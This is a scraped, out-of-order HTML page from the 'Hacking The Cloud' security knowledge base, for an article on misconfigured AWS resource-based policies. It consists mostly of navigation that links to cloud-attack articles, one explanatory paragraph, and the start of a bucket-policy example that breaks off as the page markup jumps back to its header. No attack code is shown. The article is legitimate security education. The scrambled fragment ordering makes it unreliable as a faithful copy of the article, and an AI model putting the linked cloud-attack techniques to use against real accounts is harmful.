[Deprecated] Whoami - Get Principal Name From Keys </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_7> <label class=md-nav__link for=__nav_2_7 id=__nav_2_7_label tabindex=0> <span class=md-ellipsis> Capture the Flag </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_7_label aria-expanded=false> <label class=md-nav__title for=__nav_2_7> <span class="md-nav__icon md-icon"></span> Capture the Flag </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../capture_the_flag/cicdont/ class=md-nav__link> <span class=md-ellipsis> CI/CDon't </span> </a> </li> </ul> </nav> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_3> <label class=md-nav__link for=__nav_3 id=__nav_3_label tabindex=0> <span class=md-ellipsis> Azure </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=1 aria-labelledby=__nav_3_label aria-expanded=false> <label class=md-nav__title for=__nav_3> <span class="md-nav__icon md-icon"></span> Azure </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../azure/abusing-managed-identities/ class=md-nav__link> <span class=md-ellipsis> Abusing Managed Identities </span> </a> </li> <li class=md-nav__item> <a href=../../../azure/anonymous-blob-access/ class=md-nav__link> <span class=md-ellipsis> Anonymous Blob Access </span> </a> </li> <li class=md-nav__item> <a href=../../../azure/enum_email_addresses/ class=md-nav__link> <span class=md-ellipsis> Unauthenticated Enumeration of Azure Active Directory Email Addresses </span> </a> </li> <li class=md-nav__item> <a href=../../../azure/run-command-abuse/ class=md-nav__link> <span class=md-ellipsis> Run Command Abuse </span> </a> </li> <li class=md-nav__item> <a href=../../../azure/soft-deleted-blobs/ class=md-nav__link> <span class=md-ellipsis> Soft Deleted Blobs </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_4> <label class=md-nav__link for=__nav_4 id=__nav_4_label tabindex=0> <span class=md-ellipsis> GCP </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=1 aria-labelledby=__nav_4_label aria-expanded=false> <label class=md-nav__title for=__nav_4> <span class="md-nav__icon md-icon"></span> GCP </label> <ul class=md-nav__list data-md-scrollfix> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_4_1> <label class=md-nav__link for=__nav_4_1 id=__nav_4_1_label tabindex=0> <span class=md-ellipsis> General Knowledge </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_4_1_label aria-expanded=false> <label class=md-nav__title for=__nav_4_1> <span class="md-nav__icon md-icon"></span> General Knowledge </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../gcp/general-knowledge/default-account-names/ class=md-nav__link> <span class=md-ellipsis> Default Account Information </span> </a> </li> <li class=md-nav__item> <a href=../../../gcp/general-knowledge/gcp-buckets/ class=md-nav__link> <span class=md-ellipsis> Hunting GCP Buckets </span> </a> </li> <li class=md-nav__item> <a href=../../../gcp/general-knowledge/metadata_in_google_cloud_instances/ class=md-nav__link> <span class=md-ellipsis> Metadata in Google Cloud Instances </span> </a> </li> <li class=md-nav__item> <a href=../../../gcp/general-knowledge/security-and-constraints/ class=md-nav__link> <span class=md-ellipsis> Security and Constraints </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_4_2> <label class=md-nav__link for=__nav_4_2 id=__nav_4_2_label tabindex=0> <span class=md-ellipsis> Enumeration </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_4_2_label aria-expanded=false> <label class=md-nav__title for=__nav_4_2> <span class="md-nav__icon md-icon"></span> Enumeration </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../gcp/enumeration/enum_email_addresses/ class=md-nav__link> <span class=md-ellipsis> Unauthenticated Enumeration of Google Workspace Email Addresses </span> </a> </li> <li class=md-nav__item> <a href=../../../gcp/enumeration/enumerate_all_permissions/ class=md-nav__link> <span class=md-ellipsis> Enumerate Org/Folder/Project Permissions + Individual Resource Permissions </span> </a> </li> <li class=md-nav__item> <a href=../../../gcp/enumeration/enumerate_service_account_permissions/ class=md-nav__link> <span class=md-ellipsis> Enumerate Service Account Permissions </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_4_3> <label class=md-nav__link for=__nav_4_3 id=__nav_4_3_label tabindex=0> <span class=md-ellipsis> Exploitation </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_4_3_label aria-expanded=false> <label class=md-nav__title for=__nav_4_3> <span class="md-nav__icon md-icon"></span> Exploitation </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../gcp/exploitation/gcp_iam_privilege_escalation/ class=md-nav__link> <span class=md-ellipsis> Privilege Escalation in Google Cloud Platform </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_4_4> <label class=md-nav__link for=__nav_4_4 id=__nav_4_4_label tabindex=0> <span class=md-ellipsis> Capture the Flag </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_4_4_label aria-expanded=false> <label class=md-nav__title for=__nav_4_4> <span class="md-nav__icon md-icon"></span> Capture the Flag </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../gcp/capture_the_flag/gcp-goat/ class=md-nav__link> <span class=md-ellipsis> GCP Goat </span> </a> </li> <li class=md-nav__item> <a href=../../../gcp/capture_the_flag/thunder_ctf/ class=md-nav__link> <span class=md-ellipsis> Thunder CTF </span> </a> </li> </ul> </nav> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_5> <label class=md-nav__link for=__nav_5 id=__nav_5_label tabindex=0> <span class=md-ellipsis> Terraform </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=1 aria-labelledby=__nav_5_label aria-expanded=false> <label class=md-nav__title for=__nav_5> <span class="md-nav__icon md-icon"></span> Terraform </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../terraform/terraform_ansi_escape_evasion/ class=md-nav__link> <span class=md-ellipsis> Terraform ANSI Escape </span> </a> </li> <li class=md-nav__item> <a href=../../../terraform/terraform_enterprise_metadata_service/ class=md-nav__link> <span class=md-ellipsis> Terraform Enterprise: Attack the Metadata Service </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_6> <label class=md-nav__link for=__nav_6 id=__nav_6_label tabindex=0> <span class=md-ellipsis> Blog </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=1 aria-labelledby=__nav_6_label aria-expanded=false> <label class=md-nav__title for=__nav_6> <span class="md-nav__icon md-icon"></span> Blog </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../blog/2023_wrap-up/ class=md-nav__link> <span class=md-ellipsis> 2023 Wrap-up </span> </a> </li> <li class=md-nav__item> <a href=../../../blog/2022_wrap-up/ class=md-nav__link> <span class=md-ellipsis> 2022 Wrap-up </span> </a> </li> <li class=md-nav__item> <a href=../../../blog/v2_new_look/ class=md-nav__link> <span class=md-ellipsis> Hacking The Cloud v2: New Look </span> </a> </li> </ul> </nav> </li> </ul> </nav> </div> </div> </div> <div class="md-sidebar md-sidebar--secondary" data-md-component=sidebar data-md-type=toc> <div class=md-sidebar__scrollwrap> <div class=md-sidebar__inner> <nav class="md-nav md-nav--secondary" aria-label="Table of contents"> <label class=md-nav__title for=__toc> <span class="md-nav__icon md-icon"></span> Table of contents </label> <ul class=md-nav__list data-md-component=toc data-md-scrollfix> <li class=md-nav__item> <a href=#the-principal-and-risks class=md-nav__link> <span class=md-ellipsis> The “*” Principal and Risks </span> </a> </li> <li class=md-nav__item> <a href=#more-than-just-s3-buckets class=md-nav__link> <span class=md-ellipsis> More Than Just S3 Buckets </span> </a> </li> <li class=md-nav__item> <a href=#dumping-and-analyzing-resource-based-policies-at-scale class=md-nav__link> <span class=md-ellipsis> Dumping and analyzing resource-based policies at scale </span> </a> </li> <li class=md-nav__item> <a href=#resource-based-policy-evaluation-logic class=md-nav__link> <span class=md-ellipsis> Resource-Based Policy Evaluation Logic </span> </a> </li> <li class=md-nav__item> <a href=#not-policy-elements class=md-nav__link> <span class=md-ellipsis> “Not” Policy Elements </span> </a> <nav class=md-nav aria-label="“Not” Policy Elements"> <ul class=md-nav__list> <li class=md-nav__item> <a href=#notprincipal class=md-nav__link> <span class=md-ellipsis> NotPrincipal </span> </a> </li> <li class=md-nav__item> <a href=#notaction class=md-nav__link> <span class=md-ellipsis> NotAction </span> </a> </li> <li class=md-nav__item> <a href=#notresource class=md-nav__link> <span class=md-ellipsis> NotResource </span> </a> </li> </ul> </nav> </li> </ul> </nav> </div> </div> </div> <div class=md-content data-md-component=content> <article class="md-content__inner md-typeset"> <p>Article by Nick Frichette</p> <a href=https://github.com/Hacking-the-Cloud/hackingthe.cloud/edit/main/content/aws/exploitation/Misconfigured_Resource-Based_Policies/index.md title="Edit this page" class="md-content__button md-icon"> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M10 20H6V4h7v5h5v3.1l2-2V8l-6-6H6c-1.1 0-2 .9-2 2v16c0 1.1.9 2 2 2h4zm10.2-7c.1 0 .3.1.4.2l1.3 1.3c.2.2.2.6 0 .8l-1 1-2.1-2.1 1-1c.1-.1.2-.2.4-.2m0 3.9L14.1 23H12v-2.1l6.1-6.1z"/></svg> </a> <h1>Misconfigured Resource-Based Policies</h1> <p>Resource-based policies are an often overlooked part of AWS security that can have significant implications. A <a href=https://docs.aws.amazon.com/IAM/latest/UserGuide/access_policies_identity-vs-resource.html>resource-based policy</a> is a type of policy that is <strong>attached directly to an AWS resource that describes what actions can be performed on it and by whom</strong>. </p> <p>For example, the following is a <a href=https://docs.aws.amazon.com/AmazonS3/latest/userguide/example-bucket-policies.html>bucket policy</a> (a type of resource-based policy) that would permit the <code>tester</code> user to list the contents of the <code>super-public-fun-bucket</code> S3 bucket.</p> <div class=highlight><pre><span></span><code><span class=p>{</span>
+    body[data-md-color-scheme="slate"] .gslide-desc { color: var(--md-default-fg-color);}</style> <script src="../../../assets/javascripts/glightbox.min.js"></script></head> <body dir=ltr data-md-color-scheme=slate data-md-color-primary=red data-md-color-accent=indigo> <input class=md-toggle data-md-toggle=drawer type=checkbox id=__drawer autocomplete=off> <input class=md-toggle data-md-toggle=search type=checkbox id=__search autocomplete=off> <label class=md-overlay for=__drawer></label> <div data-md-component=skip> <a href=#the-principal-and-risks class=md-skip> Skip to content </a> </div> <div data-md-component=announce> <aside class=md-banner> <div class="md-banner__inner md-grid md-typeset"> For updates follow <strong>Nick Frichette</strong> on <a rel=me href=https://bsky.app/profile/frichetten.com> <span class="twemoji bluesky"> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 512 512"><!-- Font Awesome Free 6.7.1 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) Copyright 2024 Fonticons, Inc.--><path d="M111.8 62.2C170.2 105.9 233 194.7 256 242.4c23-47.6 85.8-136.4 144.2-180.2 42.1-31.6 110.3-56 110.3 21.8 0 15.5-8.9 130.5-14.1 149.2-18.2 64.8-84.4 81.4-143.3 71.3C456 322 482.2 380 425.6 438c-107.4 110.2-154.3-27.6-166.3-62.9-1.7-4.9-2.6-7.8-3.3-7.8s-1.6 3-3.3 7.8c-12 35.3-59 173.1-166.3 62.9-56.5-58-30.4-116 72.5-133.5C100 314.6 33.8 298 15.7 233.1 10.4 214.4 1.5 99.4 1.5 83.9c0-77.8 68.2-53.4 110.3-21.8z"/></svg> </span> <strong>Bluesky</strong> </a>. </div> </aside> </div> <header class=md-header data-md-component=header> <nav class="md-header__inner md-grid" aria-label=Header> <a href=../../.. title="Hacking The Cloud" class="md-header__button md-logo" aria-label="Hacking The Cloud" data-md-component=logo> <img src=../../../assets/logo.png alt=logo> </a> <label class="md-header__button md-icon" for=__drawer> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M3 6h18v2H3zm0 5h18v2H3zm0 5h18v2H3z"/></svg> </label> <div class=md-header__title data-md-component=header-title> <div class=md-header__ellipsis> <div class=md-header__topic> <span class=md-ellipsis> Hacking The Cloud </span> </div> <div class=md-header__topic data-md-component=header-topic> <span class=md-ellipsis> Misconfigured Resource-Based Policies </span> </div> </div> </div> <form class=md-header__option data-md-component=palette> <input class=md-option data-md-color-media data-md-color-scheme=slate data-md-color-primary=red data-md-color-accent=indigo aria-label="Switch to Dark Mode" type=radio name=__palette id=__palette_0> <label class="md-header__button md-icon" title="Switch to Dark Mode" for=__palette_1 hidden> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M17 6H7c-3.31 0-6 2.69-6 6s2.69 6 6 6h10c3.31 0 6-2.69 6-6s-2.69-6-6-6m0 10H7c-2.21 0-4-1.79-4-4s1.79-4 4-4h10c2.21 0 4 1.79 4 4s-1.79 4-4 4M7 9c-1.66 0-3 1.34-3 3s1.34 3 3 3 3-1.34 3-3-1.34-3-3-3"/></svg> </label> <input class=md-option data-md-color-media data-md-color-scheme=default data-md-color-primary=red data-md-color-accent=indigo aria-label="Switch to Light Mode" type=radio name=__palette id=__palette_1> <label class="md-header__button md-icon" title="Switch to Light Mode" for=__palette_0 hidden> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M17 7H7a5 5 0 0 0-5 5 5 5 0 0 0 5 5h10a5 5 0 0 0 5-5 5 5 0 0 0-5-5m0 8a3 3 0 0 1-3-3 3 3 0 0 1 3-3 3 3 0 0 1 3 3 3 3 0 0 1-3 3"/></svg> </label> </form> <script>var palette=__md_get("__palette");if(palette&&palette.color){if("(prefers-color-scheme)"===palette.color.media){var media=matchMedia("(prefers-color-scheme: light)"),input=document.querySelector(media.matches?"[data-md-color-media='(prefers-color-scheme: light)']":"[data-md-color-media='(prefers-color-scheme: dark)']");palette.color.media=input.getAttribute("data-md-color-media"),palette.color.scheme=input.getAttribute("data-md-color-scheme"),palette.color.primary=input.getAttribute("data-md-color-primary"),palette.color.accent=input.getAttribute("data-md-color-accent")}for(var[key,value]of Object.entries(palette.color))document.body.setAttribute("data-md-color-"+key,value)}</script> <label class="md-header__button md-icon" for=__search> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M9.5 3A6.5 6.5 0 0 1 16 9.5c0 1.61-.59 3.09-1.56 4.23l.27.27h.79l5 5-1.5 1.5-5-5v-.79l-.27-.27A6.52 6.52 0 0 1 9.5 16 6.5 6.5 0 0 1 3 9.5 6.5 6.5 0 0 1 9.5 3m0 2C7 5 5 7 5 9.5S7 14 9.5 14 14 12 14 9.5 12 5 9.5 5"/></svg> </label> <div class=md-search data-md-component=search role=dialog> <label class=md-search__overlay for=__search></label> <div class=md-search__inner role=search> <form class=md-search__form name=search> <input type=text class=md-search__input name=query aria-label=Search placeholder=Search autocapitalize=off autocorrect=off autocomplete=off spellcheck=false data-md-component=search-query required> <label class="md-search__icon md-icon" for=__search> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M9.5 3A6.5 6.5 0 0 1 16 9.5c0 1.61-.59 3.09-1.56 4.23l.27.27h.79l5 5-1.5 1.5-5-5v-.79l-.27-.27A6.52 6.52 0 0 1 9.5 16 6.5 6.5 0 0 1 3 9.5 6.5 6.5 0 0 1 9.5 3m0 2C7 5 5 7 5 9.5S7 14 9.5 14 14 12 14 9.5 12 5 9.5 5"/></svg> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M20 11v2H8l5.5 5.5-1.42 1.42L4.16 12l7.92-7.92L13.5 5.5 8 11z"/></svg> </label> <nav class=md-search__options aria-label=Search> <button type=reset class="md-search__icon md-icon" title=Clear aria-label=Clear tabindex=-1> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M19 6.41 17.59 5 12 10.59 6.41 5 5 6.41 10.59 12 5 17.59 6.41 19 12 13.41 17.59 19 19 17.59 13.41 12z"/></svg> </button> </nav> </form> <div class=md-search__output> <div class=md-search__scrollwrap tabindex=0 data-md-scrollfix> <div class=md-search-result data-md-component=search-result> <div class=md-search-result__meta> Initializing search </div> <ol class=md-search-result__list role=presentation></ol> </div> </div> </div> </div> </div> <div class=md-header__source> <a href=https://github.com/Hacking-the-Cloud/hackingthe.cloud title="Go to repository" class=md-source data-md-component=source> <div class="md-source__icon md-icon"> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 496 512"><!-- Font Awesome Free 6.7.1 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) Copyright 2024 Fonticons, Inc.--><path d="M165.9 397.4c0 2-2.3 3.6-5.2 3.6-3.3.3-5.6-1.3-5.6-3.6 0-2 2.3-3.6 5.2-3.6 3-.3 5.6 1.3 5.6 3.6m-31.1-4.5c-.7 2 1.3 4.3 4.3 4.9 2.6 1 5.6 0 6.2-2s-1.3-4.3-4.3-5.2c-2.6-.7-5.5.3-6.2 2.3m44.2-1.7c-2.9.7-4.9 2.6-4.6 4.9.3 2 2.9 3.3 5.9 2.6 2.9-.7 4.9-2.6 4.6-4.6-.3-1.9-3-3.2-5.9-2.9M244.8 8C106.1 8 0 113.3 0 252c0 110.9 69.8 205.8 169.5 239.2 12.8 2.3 17.3-5.6 17.3-12.1 0-6.2-.3-40.4-.3-61.4 0 0-70 15-84.7-29.8 0 0-11.4-29.1-27.8-36.6 0 0-22.9-15.7 1.6-15.4 0 0 24.9 2 38.6 25.8 21.9 38.6 58.6 27.5 72.9 20.9 2.3-16 8.8-27.1 16-33.7-55.9-6.2-112.3-14.3-112.3-110.5 0-27.5 7.6-41.3 23.6-58.9-2.6-6.5-11.1-33.3 2.6-67.9 20.9-6.5 69 27 69 27 20-5.6 41.5-8.5 62.8-8.5s42.8 2.9 62.8 8.5c0 0 48.1-33.6 69-27 13.7 34.7 5.2 61.4 2.6 67.9 16 17.7 25.8 31.5 25.8 58.9 0 96.5-58.9 104.2-114.8 110.5 9.2 7.9 17 22.9 17 46.4 0 33.7-.3 75.4-.3 83.6 0 6.5 4.6 14.4 17.3 12.1C428.2 457.8 496 362.9 496 252 496 113.3 383.5 8 244.8 8M97.2 352.9c-1.3 1-1 3.3.7 5.2 1.6 1.6 3.9 2.3 5.2 1 1.3-1 1-3.3-.7-5.2-1.6-1.6-3.9-2.3-5.2-1m-10.8-8.1c-.7 1.3.3 2.9 2.3 3.9 1.6 1 3.6.7 4.3-.7.7-1.3-.3-2.9-2.3-3.9-2-.6-3.6-.3-4.3.7m32.4 35.6c-1.6 1.3-1 4.3 1.3 6.2 2.3 2.3 5.2 2.6 6.5 1 1.3-1.3.7-4.3-1.3-6.2-2.2-2.3-5.2-2.6-6.5-1m-11.4-14.7c-1.6 1-1.6 3.6 0 5.9s4.3 3.3 5.6 2.3c1.6-1.3 1.6-3.9 0-6.2-1.4-2.3-4-3.3-5.6-2"/></svg> </div> <div class=md-source__repository> Hacking The Cloud </div> </a> </div> </nav> </header> <div class=md-container data-md-component=container> <nav class=md-tabs aria-label=Tabs data-md-component=tabs> <div class=md-grid> <ul class=md-tabs__list> <li class=md-tabs__item> <a href=../../.. class=md-tabs__link> Hacking The Cloud </a> </li> <li class="md-tabs__item md-tabs__item--active"> <a href=../../general-knowledge/aws_cli_tips_and_tricks/ class=md-tabs__link> AWS </a> </li> <li class=md-tabs__item> <a href=../../../azure/abusing-managed-identities/ class=md-tabs__link> Azure </a> </li> <li class=md-tabs__item> <a href=../../../gcp/general-knowledge/default-account-names/ class=md-tabs__link> GCP </a> </li> <li class=md-tabs__item> <a href=../../../terraform/terraform_ansi_escape_evasion/ class=md-tabs__link> Terraform </a> </li> <li class=md-tabs__item> <a href=../../../blog/2023_wrap-up/ class=md-tabs__link> Blog </a> </li> </ul> </div> </nav> <main class=md-main data-md-component=main> <div class="md-main__inner md-grid"> <div class="md-sidebar md-sidebar--primary" data-md-component=sidebar data-md-type=navigation> <div class=md-sidebar__scrollwrap> <div class=md-sidebar__inner> <nav class="md-nav md-nav--primary md-nav--lifted" aria-label=Navigation data-md-level=0> <label class=md-nav__title for=__drawer> <a href=../../.. title="Hacking The Cloud" class="md-nav__button md-logo" aria-label="Hacking The Cloud" data-md-component=logo> <img src=../../../assets/logo.png alt=logo> </a> Hacking The Cloud </label> <div class=md-nav__source> <a href=https://github.com/Hacking-the-Cloud/hackingthe.cloud title="Go to repository" class=md-source data-md-component=source> <div class="md-source__icon md-icon"> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 496 512"><!-- Font Awesome Free 6.7.1 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) Copyright 2024 Fonticons, Inc.--><path d="M165.9 397.4c0 2-2.3 3.6-5.2 3.6-3.3.3-5.6-1.3-5.6-3.6 0-2 2.3-3.6 5.2-3.6 3-.3 5.6 1.3 5.6 3.6m-31.1-4.5c-.7 2 1.3 4.3 4.3 4.9 2.6 1 5.6 0 6.2-2s-1.3-4.3-4.3-5.2c-2.6-.7-5.5.3-6.2 2.3m44.2-1.7c-2.9.7-4.9 2.6-4.6 4.9.3 2 2.9 3.3 5.9 2.6 2.9-.7 4.9-2.6 4.6-4.6-.3-1.9-3-3.2-5.9-2.9M244.8 8C106.1 8 0 113.3 0 252c0 110.9 69.8 205.8 169.5 239.2 12.8 2.3 17.3-5.6 17.3-12.1 0-6.2-.3-40.4-.3-61.4 0 0-70 15-84.7-29.8 0 0-11.4-29.1-27.8-36.6 0 0-22.9-15.7 1.6-15.4 0 0 24.9 2 38.6 25.8 21.9 38.6 58.6 27.5 72.9 20.9 2.3-16 8.8-27.1 16-33.7-55.9-6.2-112.3-14.3-112.3-110.5 0-27.5 7.6-41.3 23.6-58.9-2.6-6.5-11.1-33.3 2.6-67.9 20.9-6.5 69 27 69 27 20-5.6 41.5-8.5 62.8-8.5s42.8 2.9 62.8 8.5c0 0 48.1-33.6 69-27 13.7 34.7 5.2 61.4 2.6 67.9 16 17.7 25.8 31.5 25.8 58.9 0 96.5-58.9 104.2-114.8 110.5 9.2 7.9 17 22.9 17 46.4 0 33.7-.3 75.4-.3 83.6 0 6.5 4.6 14.4 17.3 12.1C428.2 457.8 496 362.9 496 252 496 113.3 383.5 8 244.8 8M97.2 352.9c-1.3 1-1 3.3.7 5.2 1.6 1.6 3.9 2.3 5.2 1 1.3-1 1-3.3-.7-5.2-1.6-1.6-3.9-2.3-5.2-1m-10.8-8.1c-.7 1.3.3 2.9 2.3 3.9 1.6 1 3.6.7 4.3-.7.7-1.3-.3-2.9-2.3-3.9-2-.6-3.6-.3-4.3.7m32.4 35.6c-1.6 1.3-1 4.3 1.3 6.2 2.3 2.3 5.2 2.6 6.5 1 1.3-1.3.7-4.3-1.3-6.2-2.2-2.3-5.2-2.6-6.5-1m-11.4-14.7c-1.6 1-1.6 3.6 0 5.9s4.3 3.3 5.6 2.3c1.6-1.3 1.6-3.9 0-6.2-1.4-2.3-4-3.3-5.6-2"/></svg> </div> <div class=md-source__repository> Hacking The Cloud </div> </a> </div> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../.. class=md-nav__link> <span class=md-ellipsis> Hacking The Cloud </span> </a> </li> <li class="md-nav__item md-nav__item--active md-nav__item--section md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2 checked> <label class=md-nav__link for=__nav_2 id=__nav_2_label tabindex> <span class=md-ellipsis> AWS </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=1 aria-labelledby=__nav_2_label aria-expanded=true> <label class=md-nav__title for=__nav_2> <span class="md-nav__icon md-icon"></span> AWS </label> <ul class=md-nav__list data-md-scrollfix> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_1> <label class=md-nav__link for=__nav_2_1 id=__nav_2_1_label tabindex=0> <span class=md-ellipsis> General Knowledge </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_1_label aria-expanded=false> <label class=md-nav__title for=__nav_2_1> <span class="md-nav__icon md-icon"></span> General Knowledge </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../general-knowledge/aws_cli_tips_and_tricks/ class=md-nav__link> <span class=md-ellipsis> AWS CLI Tips and Tricks </span> </a> </li> <li class=md-nav__item> <a href=../../general-knowledge/aws_organizations_defaults/ class=md-nav__link> <span class=md-ellipsis> AWS Organizations Defaults & Pivoting </span> </a> </li> <li class=md-nav__item> <a href=../../general-knowledge/block-expensive-actions-with-scps/ class=md-nav__link> <span class=md-ellipsis> Prevent Expensive AWS API Actions with SCPs </span> </a> </li> <li class=md-nav__item> <a href=../../general-knowledge/connection-tracking/ class=md-nav__link> <span class=md-ellipsis> Connection Tracking </span> </a> </li> <li class=md-nav__item> <a href=../../general-knowledge/iam-key-identifiers/ class=md-nav__link> <span class=md-ellipsis> IAM unique identifiers </span> </a> </li> <li class=md-nav__item> <a href=../../general-knowledge/intro_metadata_service/ class=md-nav__link> <span class=md-ellipsis> Introduction to the Instance Metadata Service </span> </a> </li> <li class=md-nav__item> <a href=../../general-knowledge/introduction_user_data/ class=md-nav__link> <span class=md-ellipsis> Introduction to User Data </span> </a> </li> <li class=md-nav__item> <a href=../../general-knowledge/using_stolen_iam_credentials/ class=md-nav__link> <span class=md-ellipsis> Using Stolen IAM Credentials </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_2> <label class=md-nav__link for=__nav_2_2 id=__nav_2_2_label tabindex=0> <span class=md-ellipsis> Enumeration </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_2_label aria-expanded=false> <label class=md-nav__title for=__nav_2_2> <span class="md-nav__icon md-icon"></span> Enumeration </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../enumeration/account_id_from_ec2/ class=md-nav__link> <span class=md-ellipsis> Enumerate AWS Account ID from an EC2 Instance </span> </a> </li> <li class=md-nav__item> <a href=../../enumeration/account_id_from_s3_bucket/ class=md-nav__link> <span class=md-ellipsis> Enumerate AWS Account ID from a Public S3 Bucket </span> </a> </li> <li class=md-nav__item> <a href=../../enumeration/brute_force_iam_permissions/ class=md-nav__link> <span class=md-ellipsis> Brute Force IAM Permissions </span> </a> </li> <li class=md-nav__item> <a href=../../enumeration/bypass_cognito_user_enumeration_controls/ class=md-nav__link> <span class=md-ellipsis> Bypass Cognito Account Enumeration Controls </span> </a> </li> <li class=md-nav__item> <a href=../../enumeration/discover_secrets_in_public_aims/ class=md-nav__link> <span class=md-ellipsis> Discover secrets in public AMIs </span> </a> </li> <li class=md-nav__item> <a href=../../enumeration/enum_iam_user_role/ class=md-nav__link> <span class=md-ellipsis> Unauthenticated Enumeration of IAM Users and Roles </span> </a> </li> <li class=md-nav__item> <a href=../../enumeration/enumerate_principal_arn_from_unique_id/ class=md-nav__link> <span class=md-ellipsis> Derive a Principal ARN from an AWS Unique Identifier </span> </a> </li> <li class=md-nav__item> <a href=../../enumeration/enumerate_root_email_from_console/ class=md-nav__link> <span class=md-ellipsis> Enumerate Root User Email Address from the AWS Console </span> </a> </li> <li class=md-nav__item> <a href=../../enumeration/get-account-id-from-keys/ class=md-nav__link> <span class=md-ellipsis> Get Account ID from AWS Access Keys </span> </a> </li> <li class=md-nav__item> <a href=../../enumeration/loot_public_ebs_snapshots/ class=md-nav__link> <span class=md-ellipsis> Loot Public EBS Snapshots </span> </a> </li> <li class=md-nav__item> <a href=../../enumeration/whoami/ class=md-nav__link> <span class=md-ellipsis> Whoami - Get Principal Name From Keys </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--active md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_3 checked> <label class=md-nav__link for=__nav_2_3 id=__nav_2_3_label tabindex=0> <span class=md-ellipsis> Exploitation </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_3_label aria-expanded=true> <label class=md-nav__title for=__nav_2_3> <span class="md-nav__icon md-icon"></span> Exploitation </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../abusing-container-registry/ class=md-nav__link> <span class=md-ellipsis> Abusing Elastic Container Registry for Lateral Movement </span> </a> </li> <li class=md-nav__item> <a href=../cognito_identity_pool_excessive_privileges/ class=md-nav__link> <span class=md-ellipsis> Abusing Overpermissioned AWS Cognito Identity Pools </span> </a> </li> <li class=md-nav__item> <a href=../cognito_user_self_signup/ class=md-nav__link> <span class=md-ellipsis> Abusing Unintended Self-Signup in AWS Cognito </span> </a> </li> <li 